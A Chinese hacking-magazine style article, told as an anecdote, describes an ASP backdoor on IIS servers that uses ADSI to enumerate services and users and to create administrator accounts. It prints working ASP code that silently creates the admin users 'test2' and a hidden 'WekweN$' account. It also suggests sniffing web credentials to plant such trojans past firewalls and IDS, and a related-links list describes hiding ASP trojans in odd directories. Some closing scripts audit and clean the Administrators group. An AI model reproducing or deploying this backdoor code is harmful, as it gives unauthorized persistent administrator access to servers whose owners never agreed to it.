你根本想不到的——IIS另类后门

终于由学校步入了社会,发现其实学校还是有很多值得我们留恋的地方,而工作其实蛮辛苦的,最主要的是不能经常和朋友一起去网上玩了。上周六回了趟学校,在主机房里和做网管的朋友聊天,偶然发现一个很熟的ASP程序在服务器的网站目录里(以前我是学校网络组的成员之一),于是连了下看看,没有给予匿名浏览的权限,不过账号勾选的是记住密码,登录成功。网页显示“添加test2用户成功”,“添加test2管理员成功”。呵呵,我连管理员密码都不知道呢。打开3389,叫朋友看了下用户列表……

“怎么你个家伙每次来都没好事?快说,这次你又搞什么啦!”

“倒!你别着急,其实只是以前的一个ASP木马没删掉嘛。”

朋友不信,打开思易等asp木马专用查杀工具搜索了一番,还查了下各ASP网页的Classid值,又打开新版的诺顿扫描了所有盘……完了问我,你的木马呢?我打开网页,给他看代码。“晕,你这是什么木马啊,Cmd又没有,FSO也没,连加密也没加,短短的几句代码……”这个说来就话长了……

在以前版本的IIS中存在两个问题。第一,缺乏一个清晰的、开放的第三方管理产品的接口和一个定制的常规管理任务自动化的可编程接口;第二,需要一个控制目录服务以使网络上的服务器能够互相发现的机制。如果这些接口存在,站点创建者可以使用各种类型的工具来编写各种类型的服务器管理应用,比如除了用户管理和安全性产品外,他们还能创建用于性能管理、安装和配置的程序。于是Microsoft在1998年早些时候发布了一个活动目录服务接口(Active Directory ServiceInterfaces,ADSI)的新版本。ADSI和IIS管理对象(IIS Administration Object,IISAO)一起提供了一个用于控制目录服务和IIS自己的联合解决方案。

IISAO能够被使用许多不同语言编制的应用所访问,其中包括C++、Delphi、Java和VB。除了数量增长迅速外,第三方站点管理工具均可以通过ADSI和IISAO更好地挂接到IIS和目录服务中。另外,IISAO也可以经由一个服务器端的脚本引擎和活动服务器页面(Active Server Page,ASP)通过WEB页面被访问。事实上,如果正使用IIS 4.0以上管理工具的HTML版本,那么已经在使用IISAO。IISAO还能从使用Windows脚本主机(Windows Scripting Host,WSH)的命令行访问。

和IISAO一样,ADSI只是一组COM对象,能够在它们各自的目录服务中封装对象。这在本地目录服务和应用中创建了一个抽象层,因此,站点创建者可以通过一个单一的公共接口来控制许多不同的目录服务。利用这个功能强大的活动目录服务接口,我们能在Windows NT平台创建本地或远程主机管理员权限的完全访问,黑防以前关于脚本攻击的一些文章多少都带到了这方面的应用。

比如我们要看远程机器上开的服务(准备好Pskill,把防火墙先停了),代码如下:

<%Set ComputerObj = GetObject("WinNT://127.0.0.1")

ComputerObj.Filter = Array("Service")

For Each Service in ComputerObj

Response.Write "Service display name = " & Service.DisplayName

Response.Write("<BR>")

Response.Write "Service account name = " & Service.ServiceAccountName

Response.Write("<BR>")

Response.Write "Service executable = " & Service.Path

Next%>

执行后返回结果.

怎么样?服务全部出来了吧?连服务对应的路径都有,比任务管理器还好用。“你好象还没把你刚才做的事情说清楚啊?”OK,其实学校服务器上的ASP程序的代码也很少,从添加账户到提升权限不过十几行:

<%

Set onlineServer= GetObject("WinNT://127.0.0.1")

Set newuser= onlineServer.Create("user","test2")

NewUser.SetPassword "test2"

NewUser.FullName="Test2 test"

NewUser.Description="testuser"

NewUser.Setinfo

Set oDomain = GetObject("WinNT://" &"127.0.0.1")

Set oGroup = oDomain.GetObject("Group", "administrators")

oGroup.Add ("winnt://test2")

Response.Write "添加test2用户成功"

Response.Write "添加test2管理员成功"

Set oDomain=Nothing

Set oGroup=Nothing

%>

看看效果吧。

查看当前机器所有帐户可以使用如下代码:

Set onlineServer= GetObject("WinNT://127.0.0.1")

onlineServer.filter=array("user")

for each member in onlineserver

response.Write member.name & "--" & member.FullName &"<br>"

next

Set onlineServer= GetObject("WinNT://127.0.0.1")

话说回来,在网站权限提升的方面这个用处并不大,只能用于特殊情况下对服务器权限造成有效攻击,网上有朋友写过一段这样的代码:<%@codepage=936%><%Response.Expires=0

on error resume next

Session.TimeOut=50

Server.ScriptTimeout=3000

set lp=Server.createObject("WSCRIPT.NETWORK")

oz="WinNT://"&lp.ComputerName

Set ob=GetObject(oz)

Set oe=GetObject(oz&"/Administrators,group")

Set od=ob.create("user","WekweN$")

od.SetPassword "WekweN" <-----密码

od.SetInfo

Set of=GetObject(oz&"/WekweN$,user")

oe.Add(of.ADsPath)

Response.write "WekweN$Content$nbsp;超级账号建立成功!"%>

说是新的漏洞可将普通用户提升管理员,可是我经过测试发现没有成功,在非主流的攻击方法中一般是这样使用的:它不是要求密码账号才能浏览吗?你可以先在目标网段嗅探对方的WEB连接账号,因为在默认情况下,WEB账户和密码在传递的时候是完全透明的!再用已经拥有的部分权限插入此类ASP木马向服务器渗透(这里指的是特殊情况,谁要以为有了账号密码就无敌的话我也没办法,我现在只是说特殊情况下,优点是能躲过防火墙和IDS的阻扰。一般的服务器就用Cmd.asp搞定吧,不用那么麻烦)。

“哇,这么危险,删掉删掉。”朋友刷刷点了两下鼠标,就把我的程序干掉了,我看没什么事情,道了个别正准备回去。

“站住,要是有别人用这个来搞破坏怎么办呢?”朋友拉着我问。“其实防护方法也很简单,就是恢复匿名访问”,话一出口朋友一本巨厚的牛津字典准备要拍过来了,我只能继续往下说。

如果一定要用到此类访问的话,可以写一些与其对抗的ASP代码,比如:以下是返回计算机上本地管理员组的所有成员,你可以加上自动刷新,一发现入侵就跳出个对话框好了:

Set objNetwork = CreateObject("Wscript.Network")

strComputer = objNetwork.ComputerName

Set objGroup = GetObject("WinNT://" & strComputer &

"/Administrators,group")

For Each objUser in objGroup.Members

  Response.Write objUser.Name

Next

发现不是本地管理员用户账号和域管理员账号就删掉的代码(非Administrator就干掉):

Set objNetwork = CreateObject("Wscript.Network")

strComputer = objNetwork.ComputerName

Set objGroup = GetObject("WinNT://" & strComputer &

"/Administrators,group")

For Each objUser in objGroup.Members

  If objUser.Name <> "Administrator" and objUser.Name <> _

    "work\Administrator" Then

    objGroup.Remove(objUser.ADsPath)

  End If

Next

一段报告本地计算机上来宾账户状态的脚本:

Set objNetwork = CreateObject("Wscript.Network")

strComputer = objNetwork.ComputerName

Set objUser = GetObject("WinNT://" & strComputer & "/Guest")

If objUser.AccountDisabled Then

Response.Write "guest账户未使用."

Else

Response.Write "guest用户被使用."

End If

检查你计算机上是否有文件被共享:

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer &

"\root\cimv2")

Set colShares = objWMIService.ExecQuery("Select * from Win32_Share")

For each objShare in colShares

Response.Write "Name: " & objShare.Name

Response.Write "Path: " & objShare.Path

Response.Write "Type: " & objShare.Type

Next

“就这样就行了吗?我觉得用它写个IIS后门非常不错,我得研究下。明天是周日,你不准走了,帮我值班!”,天那,又要通宵看机房了,我的兄弟我的周末啊!

(0)

相关推荐

  • 你根本想不到的——IIS另类后门

    终于由学校步入了社会,发现其实学校还是有很多值得我们留恋的地方,而工作其实蛮辛苦的,最主要的是不能经常和朋友一起去网上玩了.上周六回了趟学校,在主机房里和做网管的朋友聊天,偶然发现一个很熟的ASP程序在服务器的网站目录里(以前我是学校网络组的成员之一),于是连了下看看,没有给予匿名浏览的权限,不过账号勾选的是记住密码,登录成功.网页显示"添加test2用户成功","添加test2管理员成功".呵呵,我连管理员密码都不知道呢.打开3389,叫朋友看了下用户列表-- &

  • IIS配置文件后门的方法

    作者:tombkeeper pgn 来源:www.loveling.net/黑客基地 本文的内容是如何利用IIS本身的一些特性建立后门.当然,这主要是一份供网络管理员和网络安全工作人员参考的"Know Your Enemy"类文档,作者希望这篇文章能够对检查和清除后门有所帮助,而并不鼓励或赞同利用本文的技巧进行违法活动. 首先简单介绍一下IIS的配置文件MetaBase.bin.这个文件位于%SystemRoot%system32inetsrvMetaBase.bin,包含了几乎所有I

  • 价值600元的东亚黑客联盟VIP教程

    (请注意:请将下载地址中整个连接复制到游览器中下载) 代理猎手快速验证代理.rar 下载地址:http://aday.3800cc.com/8月/使用代理猎手快速验证代理.rar 让文件隐藏的更加彻底下载地址:http://aday.3800cc.com/8月/attrib.rar QQ贺卡找出隐身的好友下载地址:http://aday.3800cc.com/8月/QQ贺卡找出隐身的好友.rar 文件夹漏洞下载地址:http://aday.3800cc.com/9月/文件夹漏洞.rar 共享软件

  • 几种另类的ASP后门

    <%  'code by netpatch dim dbfile,sql  db="netpatch.asp" dbfile=server.MapPath(db) set ydb=server.CreateObject("ADOX.Catalog")  ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile  set ydb=nothing  if er

  • IIS UNICODE Bug

    一.存在的漏洞1. 微软IIS 4.0 / 5.0 存在扩展UNICODE目录遍历漏洞,该漏洞既是一远程漏洞,同时也是一本地漏洞. 受影响的版本: Microsoft IIS 5.0 + Microsoft Windows NT 2000 Microsoft IIS 4.0 + Microsoft Windows NT 4.0 + Microsoft BackOffice 4.5 - Microsoft Windows NT 4.0 + Microsoft BackOffice 4.0 - Mi

  • IIS配置文件隐患

    本文的内容是如何利用IIS本身的一些特性建立后门.当然,这主要是一份供网络管理员和网络安全工作人员参考的"Know Your Enemy"类文档,作者希望这篇文章能够对检查和清除后门有所帮助,而并不鼓励或赞同利用本文的技巧进行违法活动. 首先简单介绍一下IIS的配置文件MetaBase.bin.这个文件位于%SystemRoot%\system32\inetsrv\MetaBase.bin,包含了几乎所有IIS的配置信息,是非常重要的系统文件.简单的说,我们在"intenet

  • 隐藏ASP木马后门的两种方法

    1.建立非标准目录:mkdir images..\ 拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp 通过web访问ASP木马:http://ip/images../news.asp?action=login 如何删除非标准目录:rmdir images..\ /s 2.Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的: mkdir 

  • IIS报在服务器上找不到脚本语言'VBScript.encode'错误解决方法

    VBScript.Encode 这个组件经常被用来加密一些ASP的木马后门以达到免杀效果,还有一些程序的作者也会在ASP中使用加密以达到保护版权的目的. 偶然间发现,有套程序传到服务器上,程序报错了: 复制代码 代码如下: Active Server Pages 错误 'ASP 0129' 在服务器上找不到脚本语言 'VBScript.encode' /config.asp,行 5 按道理程序在本地调试过的,没有问题,于是找到了网站根目录下的config文件,看向第5行,居然是一些乱码!噢,原来

  • 服务器攻防站 网站后门防范及安全配置

    1.后门防范基本功 首先要关闭本机不用的端口或只允许指定的端口访问:其次要使用专杀木马的软件,为了有效地防范木马后门:第三是要学会对进程操作,时时注意系统运行状况,看看是否有一些不明进程正运行并及时地将不明进程终止掉. 2.安全配置Web服务器 如果公司或企业建立了主页,该如何保证自己的Web服务器的安全性呢? 首先要关闭不必要的服务:其次是建立安全账号策略和安全日志:第三是设置安全的IIS,删除不必要的IIS组件和进行IIS安全配置. 在IIS安全配置时候,要注意修改默认的"Inetpub&q

  • IIS&Apache 攻击记录分析篇

    在这里,我为大家介绍一下两种常见的网页服务器中最重要的记录文件,分析服务器遭到攻击后,黑客在记录文件中会留下什么记录.目前最常见的网页服务器有两种:Apache和微软的Internet Information Server(简称IIS),这两种服务器都有一般版本和SSL认证版本.本文将使用和现实黑客的攻击手段类似的攻击方法去测试服务器并分析相关文件,有条件的朋友可在自己的机器上测试. IIS的预设记录文件地址在C:\winnt\system32\logfiles\w3svc1目录下,文件名是当天

随机推荐